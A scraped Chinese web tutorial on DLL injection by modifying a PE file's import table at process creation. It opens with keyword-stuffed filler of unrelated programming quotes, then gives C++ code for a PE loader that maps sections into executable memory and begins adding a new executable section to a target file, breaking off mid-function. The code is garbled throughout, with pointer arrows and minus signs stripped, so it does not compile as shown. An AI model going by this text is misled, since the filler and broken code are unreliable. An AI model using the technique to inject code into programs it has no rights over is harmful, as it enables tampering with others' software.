[DLL注入的方法]进程创建期修改PE输入表法

已有人阅读此文 - - 未知

[DLL注入的方法]进程创建期修改PE输入表法知识,[DLL注入的方法]进程创建期修改PE输入表法图片 [DLL注入的方法]进程创建期修改PE输入表法内容,[DLL注入的方法]进程创建期修改PE输入表法介绍,[DLL注入的方法]进程创建期修改PE输入表法,偏移,块头,封装,解密,导出的正文:

[DLL注入的方法]进程创建期修改PE输入表法包含:当你完成了JavaSE和JavaEE的学习后, (马丁·戈尔丁) (Gerald Weinberg) 集成了各种键盘命令和功能。 有三种:懒惰、易怒和傲慢。 你写的任何超过六个月没读过的代码,就像你再看别人的代码一样。 你越早落后,你就必须赶上更多的时间。 (奥斯特霍特) 将这些库集成到ruby on rails框架中,以扩展代码的功能。 红色括号给出了一个基本示例,表示另一个括号必须在附近。 可以申请发布内容 如果一切都好,你就失业了。 这些允许更快和更清晰的编码。 绝对有必要做正确的事情。 移动到C++或许多其他编程语言中的一种。 在编程时要牢记这一想法:就像将来要维护你的代码的人是一个知道你住在哪里的残忍的疯子。 用代码行来评估软件开发的进度就像用权重来评估飞机建造的进度一样。 软件通常在beta测试完成后不久发布。 bootstrap是一个前端框架 PoT是一个熟悉的概念,所以很容易理解。 [DLL注入的方法]进程创建期修改PE输入表法介绍的方法与命令流程等可以帮助到读者。

[DLL注入的方法]进程创建期修改PE输入表法例图

[DLL注入的方法]进程创建期修改PE输入表法

标签:关闭比较检查idsalignmentormcsuiocleave

  进程创建期修改PE输入表法的原理和静态修改PE输入表完全相同,可以在R3/R0的各个阶段进行干预(必须在主线程运行之前)。

1.以读写方式打开目标文件:

2 //以读写方式打开目标文件

3 HANDLE hFile = CreateFile(szImageFilePath,

4 GENERIC_READ|GENERIC_WRITE,

5 FILE_SHARE_READ,

6 NULL,

7 OPEN_EXISTING,

8 FILE_ATTRIBUTE_NORMAL,

9 NULL);

这里可以加上个文件是否打开的判断,如果失败则返回,如果成功则开始获取目标进程中的PE结构信息。

2.1 首先将要解析PE格式的初始值定义成构造函数避免重复赋值:

CImage::CImage()

{

m_hFile = INVALID_HANDLE_VALUE;

m_hModule = NULL;

m_pDosHeader = NULL;

m_pFileHeader = NULL ;

m_pRelocTable = NULL;

m_pSecHeader = NULL;

m_pExportDir = NULL;

m_pImportDesp = NULL;

m_pOptHeader = NULL;

//页的大小

SYSTEM_INFO sysinfo;

GetSystemInfo(&sysinfo);

m_dwPageSize = sysinfo.dwPageSize;

}

2.2 然后将解析PE格式的代码封装成一个函数,方便调用

PBYTE CImage::LoadImage(HANDLE hFile, BOOL bDoReloc, ULONG_PTR RelocBase, BOOL bDoImport)

{

WORD i=0;

BYTE *pMemory=NULL;

BYTE *MappedBase = NULL;

PIMAGE_SECTION_HEADER pTmpSecHeader = NULL ;

BOOL bResult = FALSE ;

DWORD dwFileSize = 0 ; //一般PE文件大小不会超过4G

DWORD dwIoCnt = 0 ;

__try

{

m_hFile = hFile;

//获取文件大小

dwFileSize = GetFileSize(m_hFile,NULL);

if (dwFileSize == 0)

{

lstrcpy(m_szErrorMsg,"文件大小为0!");

__leave;

}

//读取PE头

DWORD dwSizeToRead = (dwFileSize > PEHEADER_SIZE) ? PEHEADER_SIZE:dwFileSize;

ZeroMemory(m_HeaderData,PEHEADER_SIZE);

bResult = ReadFile(m_hFile,m_HeaderData,dwSizeToRead,&dwIoCnt,NULL);

if (!bResult)

{

FormatErrorMsg("读取文件失败!",GetLastError());

__leave;

}

if (!VerifyImage(m_HeaderData))

{

lstrcpy(m_szErrorMsg,"不是有效的PE映像!");

__leave;

}

//解析各个PE头部结构

m_hModule = m_HeaderData ;

m_pDosHeader =(PIMAGE_DOS_HEADER)m_hModule ;

m_pNtHeaders = (PIMAGE_NT_HEADERS)(m_hModule + m_pDosHeader>e_lfanew);

m_pFileHeader = &m_pNtHeaders>FileHeader;

m_SectionCnt = m_pFileHeader>NumberOfSections;

m_pOptHeader = &m_pNtHeaders>OptionalHeader;

m_pRelocTable = &(m_pOptHeader>DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]);

m_pSecHeader = (PIMAGE_SECTION_HEADER)((BYTE*)m_pOptHeader+sizeof(IMAGE_OPTIONAL_HEADER));

m_dwEntryPoint = m_pOptHeader>AddressOfEntryPoint;

m_TotalImageSize = m_pOptHeader>SizeOfImage ;

m_ImageBase = (ULONG_PTR)m_pOptHeader>ImageBase ;

//导入表

m_pImpDataDir = &m_pOptHeader>DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];

//因为导入表可能会被修改,所以先保存旧的导入表数据

m_OldImpDir.VirtualAddress = m_pImpDataDir>VirtualAddress;

m_OldImpDir.Size = m_pImpDataDir>Size;

if (m_pImpDataDir>VirtualAddress != NULL)

{

m_pImportDesp = (PIMAGE_IMPORT_DESCRIPTOR)(pBase + m_pImpDataDir>VirtualAddress);

}

//导出表

m_pExpDataDir = &m_pOptHeader>DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];

if (m_pExpDataDir>VirtualAddress != NULL)

{

m_pExportDir = (PIMAGE_EXPORT_DIRECTORY)(pBase + m_pExpDataDir>VirtualAddress);

}

pTmpSecHeader = m_pSecHeader;

//开始申请内存,为避免麻烦,这里直接申请可读可写可执行的内存

pMemory = m_hModule = (BYTE*)VirtualAlloc(NULL,m_TotalImageSize,MEM_COMMIT,PAGE_EXECUTE_READWRITE);

if (m_hModule == NULL)

{

lstrcpy(m_szErrorMsg,"内存不足,申请内存失败!");

__leave;

}

//printf("m_hModule = 0x%X ",m_hModule);

//先拷贝PE头到申请的内存

memcpy(pMemory,m_HeaderData,m_pOptHeader>SizeOfHeaders);

pMemory += GetAlignedSize(m_pOptHeader>SizeOfHeaders,m_pOptHeader>SectionAlignment);

//printf("Section VirtualAddress VirtualSize PointertoRawData RawSize ");

//printf("================================================================= ");

LARGE_INTEGER liFileOffset;

for (i=0;i< m_SectionCnt;i++)

{

liFileOffset.QuadPart = pTmpSecHeader>PointerToRawData;

bResult = SetFilePointerEx(m_hFile,liFileOffset,NULL,FILE_BEGIN);

if (!bResult)

{

FormatErrorMsg("设置文件读写位置失败!",GetLastError());

__leave;

}

//读取各个节

bResult = ReadFile(m_hFile,pMemory,pTmpSecHeader>SizeOfRawData,&dwIoCnt,NULL);

if (!bResult)

{

FormatErrorMsg("读取文件失败!",GetLastError());

__leave;

}

pMemory += GetAlignedSize(pTmpSecHeader>Misc.VirtualSize,m_pOptHeader>SectionAlignment);

pTmpSecHeader++;

}

//重新解析PE头

InitializePEHeaders(m_hModule);

//开始处理重定位数据

if (bDoReloc)

{

//如果RelocBase为0,则按实际加载位置进行重定位

ULONG_PTR BaseToReloc = (RelocBase == 0 )?(DWORD)m_hModule : RelocBase ;

ProcessRelocTable(BaseToReloc);

}

//处理导入表

if (bDoImport)

{

ProcessImportTable();

}

bResult = TRUE; //加载成功

}

__finally

{

if (!bResult)

{

if (m_hFile != INVALID_HANDLE_VALUE)

{

CloseHandle(m_hFile);

m_hFile = INVALID_HANDLE_VALUE;

}

}

}

return m_hModule;

}

完整代码:

//////////////////////////////////////////////////////////////////////

#include "stdafx.h"

#include "Image.h"

#include <shlwapi.h>

#pragma comment(lib,"shlwapi.lib")

//////////////////////////////////////////////////////////////////////

// Construction/Destruction

//////////////////////////////////////////////////////////////////////

CImage::CImage()

{

m_hFile = INVALID_HANDLE_VALUE;

m_hModule = NULL;

m_pDosHeader = NULL;

m_pFileHeader = NULL ;

m_pRelocTable = NULL;

m_pSecHeader = NULL;

m_pExportDir = NULL;

m_pImportDesp = NULL;

m_pOptHeader = NULL;

//页的大小

SYSTEM_INFO sysinfo;

GetSystemInfo(&sysinfo);

m_dwPageSize = sysinfo.dwPageSize;

}

CImage::~CImage()

{

Cleanup();

}

//************************************

// Method: LoadPE

// FullName: CImage::LoadPE

// Access: public

// Returns: PBYTE

// Qualifier:

// Parameter: char * szPEPath , 待加载的PE模块的全路径

// Parameter: BOOL bDoReloc , 是否处理重定位

// Parameter: DWORD RelocBase , 重定位的基址,如果为0,则按实际加载位置重定位

// Parameter: BOOL bDoImport , 是否处理导入表

//************************************

PBYTE CImage::LoadImage(HANDLE hFile, BOOL bDoReloc, ULONG_PTR RelocBase, BOOL bDoImport)

{

WORD i=0;

BYTE *pMemory=NULL;

BYTE *MappedBase = NULL;

PIMAGE_SECTION_HEADER pTmpSecHeader = NULL ;

BOOL bResult = FALSE ;

DWORD dwFileSize = 0 ; //一般PE文件大小不会超过4G

DWORD dwIoCnt = 0 ;

__try

{

m_hFile = hFile;

//获取文件大小

dwFileSize = GetFileSize(m_hFile,NULL);

if (dwFileSize == 0)

{

lstrcpy(m_szErrorMsg,"文件大小为0!");

__leave;

}

//读取PE头

DWORD dwSizeToRead = (dwFileSize > PEHEADER_SIZE) ? PEHEADER_SIZE:dwFileSize;

ZeroMemory(m_HeaderData,PEHEADER_SIZE);

bResult = ReadFile(m_hFile,m_HeaderData,dwSizeToRead,&dwIoCnt,NULL);

if (!bResult)

{

FormatErrorMsg("读取文件失败!",GetLastError());

__leave;

}

if (!VerifyImage(m_HeaderData))

{

lstrcpy(m_szErrorMsg,"不是有效的PE映像!");

__leave;

}

//解析各个PE头部结构

InitializePEHeaders(m_HeaderData);

pTmpSecHeader = m_pSecHeader;

//开始申请内存,为避免麻烦,这里直接申请可读可写可执行的内存

pMemory = m_hModule = (BYTE*)VirtualAlloc(NULL,m_TotalImageSize,MEM_COMMIT,PAGE_EXECUTE_READWRITE);

if (m_hModule == NULL)

{

lstrcpy(m_szErrorMsg,"内存不足,申请内存失败!");

__leave;

}

//printf("m_hModule = 0x%X ",m_hModule);

//先拷贝PE头到申请的内存

memcpy(pMemory,m_HeaderData,m_pOptHeader>SizeOfHeaders);

pMemory += GetAlignedSize(m_pOptHeader>SizeOfHeaders,m_pOptHeader>SectionAlignment);

//printf("Section VirtualAddress VirtualSize PointertoRawData RawSize ");

//printf("================================================================= ");

LARGE_INTEGER liFileOffset;

for (i=0;i< m_SectionCnt;i++)

{

liFileOffset.QuadPart = pTmpSecHeader>PointerToRawData;

bResult = SetFilePointerEx(m_hFile,liFileOffset,NULL,FILE_BEGIN);

if (!bResult)

{

FormatErrorMsg("设置文件读写位置失败!",GetLastError());

__leave;

}

//读取各个节

bResult = ReadFile(m_hFile,pMemory,pTmpSecHeader>SizeOfRawData,&dwIoCnt,NULL);

if (!bResult)

{

FormatErrorMsg("读取文件失败!",GetLastError());

__leave;

}

pMemory += GetAlignedSize(pTmpSecHeader>Misc.VirtualSize,m_pOptHeader>SectionAlignment);

pTmpSecHeader++;

}

//重新解析PE头

InitializePEHeaders(m_hModule);

//开始处理重定位数据

if (bDoReloc)

{

//如果RelocBase为0,则按实际加载位置进行重定位

ULONG_PTR BaseToReloc = (RelocBase == 0 )?(DWORD)m_hModule : RelocBase ;

ProcessRelocTable(BaseToReloc);

}

//处理导入表

if (bDoImport)

{

ProcessImportTable();

}

bResult = TRUE; //加载成功

}

__finally

{

if (!bResult)

{

if (m_hFile != INVALID_HANDLE_VALUE)

{

CloseHandle(m_hFile);

m_hFile = INVALID_HANDLE_VALUE;

}

}

}

return m_hModule;

}

//以文件路径方式打开PE

PBYTE CImage::LoadImage(char *szPEPath, BOOL bDoReloc, ULONG_PTR RelocBase ,BOOL bDoImport)

{

//保存PE路径

lstrcpy(m_szPEPath,szPEPath);

//以只读方式打开文件

m_hFile = CreateFile(szPEPath,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);

if (m_hFile == INVALID_HANDLE_VALUE)

{

FormatErrorMsg("打开文件失败!",GetLastError());

return NULL;

}

return LoadImage(m_hFile,bDoReloc,RelocBase,bDoImport);

}

VOID CImage::FreePE()

{

VirtualFree(m_hModule,0,MEM_RELEASE);

m_hModule = NULL;

}

DWORD CImage::GetAlignedSize(DWORD theSize, DWORD Alignment)

{

DWORD dwAlignedVirtualSize=0;

dwAlignedVirtualSize = ALIGN_SIZE_UP(theSize,Alignment);

return dwAlignedVirtualSize;//返回对齐后的大小

}

ULONG_PTR CImage::GetAlignedPointer(ULONG_PTR uPointer, DWORD Alignment)

{

DWORD dwAlignedAddress=0;

dwAlignedAddress = ALIGN_SIZE_UP(uPointer,Alignment);

return dwAlignedAddress;//返回对齐后的大小

}

/*

DWORD CImage::GetAlignedSize(DWORD theSize, DWORD Alignment)

{

DWORD dwAlignedVirtualSize=0;

DWORD moded=0,dived=0;

dived=theSize/Alignment;

moded=theSize%Alignment;

if (moded)//有余数

{

dwAlignedVirtualSize=dived*Alignment;

dwAlignedVirtualSize+=Alignment;

}

else

{

dwAlignedVirtualSize=theSize;

}

//printf("Recevid Size=X dived=%X moded=%X ",theSize,dived,moded);

return dwAlignedVirtualSize;//返回对齐后的大小

}

*/

DWORD CImage::_GetProcAddress(PBYTE pModule, char *szFuncName)

{

//自己实现GetProcAddress

DWORD retAddr=0;

DWORD *namerav,*funrav;

DWORD cnt=0;

DWORD max,min,mid;

WORD *nameOrdinal;

WORD nIndex=0;

int cmpresult=0;

char *ModuleBase=(char*)pModule;

char *szMidName = NULL ;

PIMAGE_DOS_HEADER pDosHeader;

PIMAGE_NT_HEADERS pNtHeader;

PIMAGE_OPTIONAL_HEADER pOptHeader;

PIMAGE_EXPORT_DIRECTORY pExportDir;

if (ModuleBase == NULL)

{

return 0;

}

pDosHeader=(PIMAGE_DOS_HEADER)ModuleBase;

if (pDosHeader>e_magic != IMAGE_DOS_SIGNATURE)

{

return 0;

}

pNtHeader = (PIMAGE_NT_HEADERS)(ModuleBase+pDosHeader>e_lfanew);

if (pNtHeader>Signature != IMAGE_NT_SIGNATURE)

{

return 0 ;

}

pOptHeader = &pNtHeader>OptionalHeader;

pExportDir=(PIMAGE_EXPORT_DIRECTORY)(ModuleBase+pOptHeader>DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

namerav=(DWORD*)(ModuleBase+pExportDir>AddressOfNames);

funrav=(DWORD*)(ModuleBase+pExportDir>AddressOfFunctions);

nameOrdinal=(WORD*)(ModuleBase+pExportDir>AddressOfNameOrdinals);

if ((DWORD)szFuncName < 0x0000FFFF)

{

retAddr=(DWORD)(ModuleBase+funrav[(WORD)szFuncName]);

}

else

{

//二分法查找

max = pExportDir>NumberOfNames ;

min = 0;

mid = (max+min)/2;

while (min < max)

{

szMidName = ModuleBase+namerav[mid] ;

cmpresult=strcmp(szFuncName,szMidName);

if (cmpresult < 0)

{

//比中值小,则取中值1为最大值

max = mid 1 ;

}

else if (cmpresult > 0)

{

//比中值大,则取中值+1为最小值

min = mid + 1;

}

else

{

break;

}

mid=(max+min)/2;

}

if (strcmp(szFuncName,ModuleBase+namerav[mid]) == 0)

{

nIndex=nameOrdinal[mid];

retAddr=(DWORD)(ModuleBase+funrav[nIndex]);

}

}

return retAddr;

}

DWORD CImage::GetTotalImageSize(DWORD Alignment)

{

DWORD TotalSize=0;

DWORD tmp=0;

PIMAGE_SECTION_HEADER pTmpSecHeader = m_pSecHeader;

TotalSize+=GetAlignedSize(m_pOptHeader>SizeOfHeaders,Alignment);

for (WORD i=0;i< m_SectionCnt;i++)

{

tmp=GetAlignedSize(pTmpSecHeader>Misc.VirtualSize,Alignment);

TotalSize+=tmp;

pTmpSecHeader++;

}

return TotalSize;

}

DWORD CImage::Rav2Raw(DWORD VirtualAddr)

{

DWORD RawAddr=0;

if (VirtualAddr < m_pOptHeader>SizeOfHeaders)

{

RawAddr = VirtualAddr;

return RawAddr;

}

PIMAGE_SECTION_HEADER pTmpSecHeader = LocateSectionByRVA(VirtualAddr);

if (pTmpSecHeader != NULL)

{

RawAddr = VirtualAddr pTmpSecHeader>VirtualAddress + pTmpSecHeader>PointerToRawData;

}

return RawAddr;

}

DWORD CImage::Raw2Rav(DWORD RawAddr)

{

DWORD RavAddr=0;

if (RawAddr < m_pOptHeader>SizeOfHeaders)

{

RavAddr = RawAddr;

return RavAddr;

}

PIMAGE_SECTION_HEADER pTmpSecHeader = LocateSectionByRawOffset(RawAddr);

if (pTmpSecHeader != NULL)

{

RavAddr = RawAddr pTmpSecHeader>PointerToRawData + pTmpSecHeader>VirtualAddress;

}

return RavAddr;

}

VOID CImage::FormatErrorMsg(char *szPrompt, DWORD ErrCode)

{

LPVOID lpMsgBuf;

FormatMessage(

FORMAT_MESSAGE_ALLOCATE_BUFFER |

FORMAT_MESSAGE_FROM_SYSTEM |

FORMAT_MESSAGE_IGNORE_INSERTS,

NULL,

ErrCode,

MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), // Default language

(LPTSTR) &lpMsgBuf,

0,

NULL

);

sprintf(m_szErrorMsg,"%s 错误代码:%d 原因:%s",szPrompt,ErrCode,(LPCTSTR)lpMsgBuf);

LocalFree( lpMsgBuf );

}

VOID CImage::Cleanup()

{

if (m_hFile != INVALID_HANDLE_VALUE)

{

CloseHandle(m_hFile);

m_hFile = INVALID_HANDLE_VALUE ;

}

if (m_hModule != NULL)

{

FreePE();

}

}

VOID CImage::InitializePEHeaders(PBYTE pBase)

{

//解析各个PE头部结构

m_hModule = pBase ;

m_pDosHeader =(PIMAGE_DOS_HEADER)pBase;

m_pNtHeaders = (PIMAGE_NT_HEADERS)(pBase + m_pDosHeader>e_lfanew);

m_pFileHeader = &m_pNtHeaders>FileHeader;

m_SectionCnt = m_pFileHeader>NumberOfSections;

m_pOptHeader = &m_pNtHeaders>OptionalHeader;

m_pRelocTable = &(m_pOptHeader>DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]);

m_pSecHeader = (PIMAGE_SECTION_HEADER)((BYTE*)m_pOptHeader+sizeof(IMAGE_OPTIONAL_HEADER));

m_dwEntryPoint = m_pOptHeader>AddressOfEntryPoint;

m_TotalImageSize = m_pOptHeader>SizeOfImage ;

m_ImageBase = (ULONG_PTR)m_pOptHeader>ImageBase ;

//导入表

m_pImpDataDir = &m_pOptHeader>DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];

//因为导入表可能会被修改,所以先保存旧的导入表数据

m_OldImpDir.VirtualAddress = m_pImpDataDir>VirtualAddress;

m_OldImpDir.Size = m_pImpDataDir>Size;

if (m_pImpDataDir>VirtualAddress != NULL)

{

m_pImportDesp = (PIMAGE_IMPORT_DESCRIPTOR)(pBase + m_pImpDataDir>VirtualAddress);

}

//导出表

m_pExpDataDir = &m_pOptHeader>DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];

if (m_pExpDataDir>VirtualAddress != NULL)

{

m_pExportDir = (PIMAGE_EXPORT_DIRECTORY)(pBase + m_pExpDataDir>VirtualAddress);

}

}

VOID CImage::ProcessRelocTable(ULONG_PTR RelocBase)

{

WORD i = 0 ;

PIMAGE_BASE_RELOCATION pRelocBlock = NULL ;

if (m_pRelocTable>VirtualAddress != NULL)

{

pRelocBlock=(PIMAGE_BASE_RELOCATION)(m_hModule + m_pRelocTable>VirtualAddress);

//printf("After Loaded,Reloc Table=0xX ",pRelocBlock);

do

{//处理一个接一个的重定位块,最后一个重定位块以RAV=0结束

//需要重定位的个数,是本块的大小减去块头的大小,结果是以DWORD表示的大小

//而重定位数据是16位的,那就得除以2

int numofReloc=(pRelocBlock>SizeOfBlock sizeof(IMAGE_BASE_RELOCATION))/2;

//printf("Reloc Data num=%d ",numofReloc);

//重定位数据是16位的

WORD offset=0;

WORD *pRelocData=(WORD*)((BYTE*)pRelocBlock + sizeof(IMAGE_BASE_RELOCATION));

for (i=0;i<numofReloc;i++)//循环,或直接判断*pData是否为0也可以作为结束标记

{

ULONG_PTR *RelocAddress=0;//需要重定位的地址

#ifdef _WIN64

WORD RelocFlag = IMAGE_REL_BASED_DIR64 ;

#else

WORD RelocFlag = IMAGE_REL_BASED_HIGHLOW ;

#endif

//IMAGE_REL_BASED_DIR64

//重定位的高4位是重定位类型,

if (((*pRelocData)>>12) == RelocFlag)//判断重定位类型是否为IMAGE_REL_BASED_HIGHLOW,x86

{

//计算需要进行重定位的地址

//重定位数据的低12位再加上本重定位块头的RAV即真正需要重定位的数据的RAV

offset=(*pRelocData)&0xFFF;//小偏移

RelocAddress=(ULONG_PTR*)(m_hModule+pRelocBlock>VirtualAddress+offset);

//对需要重定位的数据进行修正

//修正方法:减去IMAGE_OPTINAL_HEADER中的基址,再加上新的基址即可

*RelocAddress=*RelocAddress m_pOptHeader>ImageBase + RelocBase;

}

pRelocData++;

}

//指向下一个重定位块

pRelocBlock=(PIMAGE_BASE_RELOCATION)((char*)pRelocBlock+pRelocBlock>SizeOfBlock);

}while (pRelocBlock>VirtualAddress);

}

}

BOOL CImage::ProcessImportTable()

{

BOOL bResult = TRUE ;

char szPreDirectory[MAX_PATH]={0};

char szCurDirectory[MAX_PATH]={0};

char szPrompt[256]={0};

PIMAGE_IMPORT_DESCRIPTOR pImportDescriptor = m_pImportDesp;

PIMAGE_THUNK_DATA NameThunk = NULL , AddrThunk = NULL;

PIMAGE_IMPORT_BY_NAME pImpName = NULL ;

HMODULE hMod = NULL ;

char *szImpModName = NULL ;

if (pImportDescriptor == NULL)

{

//无导入表,不需要处理

return TRUE;

}

//更改当前路径,否则加载某些第三方dll时将找不到模块

GetCurrentDirectory(MAX_PATH,szPreDirectory);

lstrcpy(szCurDirectory,m_szPEPath);

PathRemoveFileSpec(szCurDirectory);

SetCurrentDirectory(szCurDirectory);

//

// Walk through the IAT and snap all the thunks.

//

while (pImportDescriptor>Name && pImportDescriptor>OriginalFirstThunk)

{

szImpModName = (char*)m_hModule + pImportDescriptor>Name ;

hMod = LoadLibrary(szImpModName);

if (hMod == NULL)

{

sprintf(szPrompt,"加载导入表模块 %s 失败!",szImpModName);

FormatErrorMsg(szImpModName,GetLastError());

return FALSE;

}

//printf("处理导入表模块 : %s ",szImpModName);

NameThunk = (PIMAGE_THUNK_DATA)(m_hModule + (ULONG)pImportDescriptor>OriginalFirstThunk);

AddrThunk = (PIMAGE_THUNK_DATA)(m_hModule + (ULONG)pImportDescriptor>FirstThunk);

while (NameThunk>u1.AddressOfData)

{

bResult = SnapThunk (hMod,szImpModName,m_hModule,NameThunk,AddrThunk);

if (!bResult)

{

bResult = FALSE ;

break;

}

NameThunk++;

AddrThunk++;

}

if (!bResult)

{

break;

}

pImportDescriptor++;

}

SetCurrentDirectory(szPreDirectory);

return bResult;

}

BOOL CImage::SnapThunk(HMODULE hImpMode,char *szImpModeName,PBYTE ImageBase, PIMAGE_THUNK_DATA NameThunk, PIMAGE_THUNK_DATA AddrThunk)

{

BOOL bResult = FALSE ;

PIMAGE_IMPORT_BY_NAME pImpName = NULL ;

DWORD dwFunAddr = 0 ;

ULONG Ordinal = 0 ;

if (NameThunk>u1.AddressOfData & IMAGE_ORDINAL_FLAG32)

{

Ordinal = IMAGE_ORDINAL(NameThunk>u1.Ordinal);

dwFunAddr = (DWORD)GetProcAddress(hImpMode,(LPCSTR)Ordinal);

//printf("0xX 按序号导入 : %d ",dwFunAddr,Ordinal);

if (dwFunAddr == 0)

{

sprintf(m_szErrorMsg,"无法在导入模块%s中定位导入函数:%d (序号)",szImpModeName,Ordinal);

}

}

else

{

pImpName = (PIMAGE_IMPORT_BY_NAME)(m_hModule + (ULONG)NameThunk>u1.AddressOfData);

dwFunAddr = (DWORD)GetProcAddress(hImpMode,(LPCSTR)pImpName>Name);

//printf("0xX 按名称导入 : %s ",dwFunAddr,pImpName>Name);

if (dwFunAddr == 0)

{

sprintf(m_szErrorMsg,"无法在导入模块%s中定位导入函数:%s ",szImpModeName,pImpName>Name);

}

}

if (dwFunAddr != 0)

{

AddrThunk>u1.Function = dwFunAddr;

bResult = TRUE;

}

return bResult;

}

//根据PE文件头,简单判断PE文件的有效性

BOOL CImage::VerifyImage(PVOID pBase)

{

//解析各个PE头部结构

m_pDosHeader =(PIMAGE_DOS_HEADER)pBase;

if (m_pDosHeader>e_magic != IMAGE_DOS_SIGNATURE)

{

return FALSE;

}

m_pNtHeaders = (PIMAGE_NT_HEADERS)((BYTE*)pBase + m_pDosHeader>e_lfanew);

if (m_pNtHeaders>Signature != IMAGE_NT_SIGNATURE)

{

return FALSE;

}

return TRUE;

}

LPSTR CImage::GetErrorMsg(char *szBuf, int BufSize)

{

int len = lstrlen(m_szErrorMsg);

if (len <= BufSize )

{

lstrcpy(szBuf,m_szErrorMsg);

return szBuf;

}

return NULL;

}

//根据相对虚拟地址查找所在的节

PIMAGE_SECTION_HEADER CImage::LocateSectionByRVA(DWORD dwRVA)

{

WORD i = 0;

PIMAGE_SECTION_HEADER pTemp = m_pSecHeader;

for (i=0;i<m_SectionCnt;i++)

{

if (pTemp>VirtualAddress <= dwRVA

&& dwRVA <(pTemp>VirtualAddress + pTemp>Misc.VirtualSize))

{

return pTemp;

}

pTemp++;

}

return NULL;

}

//根据文件偏移确定所在的节

PIMAGE_SECTION_HEADER CImage::LocateSectionByRawOffset(DWORD dwRawOffset)

{

WORD i = 0;

PIMAGE_SECTION_HEADER pTemp = m_pSecHeader;

for (i=0;i<m_SectionCnt;i++)

{

if (pTemp>PointerToRawData <= dwRawOffset

&& dwRawOffset <(pTemp>PointerToRawData + pTemp>SizeOfRawData))

{

return pTemp;

}

pTemp++;

}

return NULL;

}

//计算某个节按虚拟地址对齐后的空隙大小

DWORD CImage::GetSectionVirtualPaddingSize(PIMAGE_SECTION_HEADER pSecHeader)

{

DWORD AlignedSize = GetAlignedSize(pSecHeader>Misc.VirtualSize,m_pOptHeader>SectionAlignment);

return AlignedSize pSecHeader>Misc.VirtualSize;

}

//计算某个节按虚拟地址对齐后的空隙大小

//VirtualSize和RawSize不确定哪个比较大

DWORD CImage::GetSectionPhysialPaddingSize(PIMAGE_SECTION_HEADER pSecHeader)

{

DWORD dwPaddingSize = 0 ;

if (pSecHeader>Misc.VirtualSize < pSecHeader>SizeOfRawData)

{

//节的内存大小小于文件大小

/*

.text name

7748 virtual size

1000 virtual address

7800 size of raw data

*/

dwPaddingSize = pSecHeader>SizeOfRawData pSecHeader>Misc.VirtualSize ;

}

else

{

//节的内存大小大于等于文件中的大小,则认为不存在空隙

dwPaddingSize = 0 ;

}

return dwPaddingSize;

}

//默认情况下是以只读方式打开目标文件的,必要时转换为可写的

BOOL CImage::MakeFileHandleWritable()

{

BOOL bResult = FALSE;

HANDLE hNew = INVALID_HANDLE_VALUE;

HANDLE hProc = OpenProcess(PROCESS_DUP_HANDLE,FALSE,GetCurrentProcessId());

if (hProc == NULL)

{

return FALSE;

}

bResult = DuplicateHandle(

hProc,

m_hFile,

hProc,

&hNew,

GENERIC_READ,

FALSE,

0

);

if (bResult)

{

CloseHandle(m_hFile);//关闭之前的Handle

m_hFile = hNew;

}

else

{

FormatErrorMsg("更改句柄权限失败!",GetLastError());

}

CloseHandle(hProc);

return bResult;

}

//解析当前内存中的PE结构

VOID CImage::AttachToMemory(PVOID pMemory)

{

if (pMemory != NULL)

{

InitializePEHeaders((PBYTE)pMemory);

}

}

//解析其它进程中的PE结构

BOOL CImage::AttachToProcess(HANDLE hProc ,PVOID ProcessImageBase)

{

BOOL bResult = FALSE ;

SIZE_T dwIoCnt = 0;

m_hProc = hProc;

m_ImageBase = (ULONG_PTR)ProcessImageBase;

bResult = ReadProcessMemory(m_hProc,(LPVOID)m_ImageBase,m_HeaderData,0x1000,&dwIoCnt);

if (!bResult)

{

FormatErrorMsg("ReadProcessMemory失败!",GetLastError());

return FALSE;

}

//初始化PE结构

InitializePEHeaders(m_HeaderData);

return bResult;

}

//在文件中添加一个新节并返回新节的数据

PIMAGE_SECTION_HEADER CImage::AddNewSectionToFile(char *szSectionName, DWORD SectionSize)

{

PIMAGE_SECTION_HEADER pNewSecHeader = m_pSecHeader + m_SectionCnt ;

PIMAGE_SECTION_HEADER pLastSecHeader = m_pSecHeader + m_SectionCnt 1;

DWORD dwSectionVA,dwSectionRawOffset,dwSectionSize;

LARGE_INTEGER liFileOffset;

BOOL bResult = FALSE ;

DWORD dwIoCnt = 0 ;

//计算新节的起始虚拟内存偏移

dwSectionVA = pLastSecHeader>VirtualAddress + GetAlignedSize(pLastSecHeader>Misc.VirtualSize,m_pOptHeader>SectionAlignment);

//计算新节的物理起始偏移

dwSectionRawOffset = pLastSecHeader>PointerToRawData + GetAlignedSize(pLastSecHeader>SizeOfRawData,m_pOptHeader>FileAlignment);

//计算新节的大小,按文件对齐粒度对齐

dwSectionSize = GetAlignedSize(SectionSize,m_pOptHeader>FileAlignment);

//设置文件指针位置

liFileOffset.QuadPart = dwSectionRawOffset + dwSectionSize;

bResult = SetFilePointerEx(m_hFile,liFileOffset,NULL,FILE_BEGIN);

if (!bResult)

{

FormatErrorMsg("添加新节时设置文件指针错误!",GetLastError());

return NULL;

}

bResult = SetEndOfFile(m_hFile);

if (!bResult)

{

FormatErrorMsg("添加新节时设置文件结束位置错误!",GetLastError());

return NULL;

}

//填充SectionHeader

ZeroMemory(pNewSecHeader,sizeof(IMAGE_SECTION_HEADER));

strncpy((char*)pNewSecHeader>Name,szSectionName,8);

pNewSecHeader>Misc.VirtualSize = dwSectionSize;

pNewSecHeader>VirtualAddress = dwSectionVA;

pNewSecHeader>PointerToRawData = dwSectionRawOffset ;

pNewSecHeader>SizeOfRawData = dwSectionSize;

pNewSecHeader>Characteristics = IMAGE_SCN_CNT_INITIALIZED_DATA | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE | IMAGE_SCN_MEM_EXECUTE;

//更新PE头中的节个数

m_pFileHeader>NumberOfSections += 1;

m_SectionCnt++ ;

//更新PE头中的总映像大小

m_pOptHeader>SizeOfImage += dwSectionSize;

//保存PE头到文件中

liFileOffset.QuadPart = 0;

